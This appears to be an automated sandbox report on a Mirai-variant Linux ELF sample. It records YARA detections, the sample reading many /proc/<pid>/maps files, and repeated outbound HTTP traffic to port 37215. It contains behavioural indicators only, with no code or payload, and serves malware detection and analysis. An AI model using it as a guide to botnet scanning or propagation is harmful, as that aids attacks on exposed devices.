Source: aXyM30sV1V.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5492.1.00007ff918001000.00007ff918014000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5496.1.00007ff918001000.00007ff918014000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5490.1.00007ff918001000.00007ff918014000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research

Source: classification engine

Classification label: mal88.troj.linELF@0/0@1/0

Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/2672/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1583/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3120/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1577/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1610/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/512/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1299/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/514/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/519/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/2946/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/917/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3134/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1593/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3011/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3094/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/2955/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1589/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3129/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1588/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3125/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/767/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/800/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/888/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/801/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/769/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/803/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/806/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/807/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/928/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/2956/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/490/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3142/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1635/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1633/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1599/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3139/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1873/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1630/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/657/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/658/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/659/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/418/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/419/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1639/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1638/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1371/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/780/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/660/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/661/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/782/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1369/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/785/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1642/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/940/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/941/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1640/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3147/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1364/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/548/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1647/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/2991/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1383/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1382/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1381/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/791/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/671/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/794/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1655/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/795/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/674/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1653/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/797/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/2983/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3159/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/678/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1650/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3157/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/679/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1659/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3178/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1394/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3172/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3171/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/2999/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/683/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3207/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/684/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/2997/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1300/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1661/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/725/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/726/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1309/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/2517/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3189/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1560/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3188/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3187/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3184/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/3183/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1712/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1557/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1314/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/1399/maps	Jump to behavior
Source: /tmp/aXyM30sV1V.elf (PID: 5498)	File opened: /proc/853/maps	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 39898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36300 -> 37215
